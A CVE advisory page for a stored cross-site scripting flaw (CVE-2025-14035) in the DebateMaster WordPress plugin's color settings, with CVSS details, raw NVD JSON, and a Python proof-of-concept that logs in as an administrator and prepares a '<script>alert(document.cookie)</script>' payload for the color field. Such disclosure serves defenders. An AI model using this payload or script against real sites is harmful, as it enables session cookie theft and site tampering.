Security Vulnerability Report
中文
CVE-2025-14035 CVSS 4.4 MEDIUM

CVE-2025-14035

Published: 2025-12-12 04:15:46
Last Modified: 2026-04-15 00:35:42

Description

The DebateMaster plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the color options in the plugin settings in all versions up to, and including, 1.0.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Administrator-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses a page with the debate shortcode. This only affects multi-site installations and installations where unfiltered_html has been disabled.

CVSS Details

CVSS Score
4.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WordPress DebateMaster插件 <= 1.0.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests from bs4 import BeautifulSoup # WordPress target URL target_url = "http://target-wordpress-site.com" # Authentication username = "admin_username" password = "admin_password" # Login to WordPress session = requests.Session() login_url = f"{target_url}/wp-login.php" login_data = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": "/wp-admin/admin.php?page=debatemaster-settings" } session.post(login_url, data=login_data) # Access plugin settings page settings_url = f"{target_url}/wp-admin/admin.php?page=debatemaster-settings" response = session.get(settings_url) # Inject XSS payload in color option # Payload: <script>alert(document.cookie)</script> xss_payload = "<script>alert(document.cookie)</script>" settings_update_url = f"{target_url}/wp-admin/admin.php?page=debatemaster-settings" settings_data = { "debatemaster_primary_color": xss_payload, "debatemaster_secondary_color": "#ffffff", "debatemaster_save_settings": "Save" } # In real attack, submit the form with XSS payload # session.post(settings_update_url, data=settings_data) print("XSS payload injected in color option field") print(f"Payload: {xss_payload}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14035", "sourceIdentifier": "[email protected]", "published": "2025-12-12T04:15:46.210", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The DebateMaster plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the color options in the plugin settings in all versions up to, and including, 1.0.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Administrator-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses a page with the debate shortcode. This only affects multi-site installations and installations where unfiltered_html has been disabled."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/debatemaster/tags/1.0.0/debatemaster.php#L30", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/debatemaster/tags/1.0.0/debatemaster.php#L87", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/debatemaster/trunk/debatemaster.php#L30", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/debatemaster/trunk/debatemaster.php#L87", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/debatemaster/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/a68cb059-972f-473d-90cb-41ccda052b08?source=cve", "source": "[email protected]"}]}}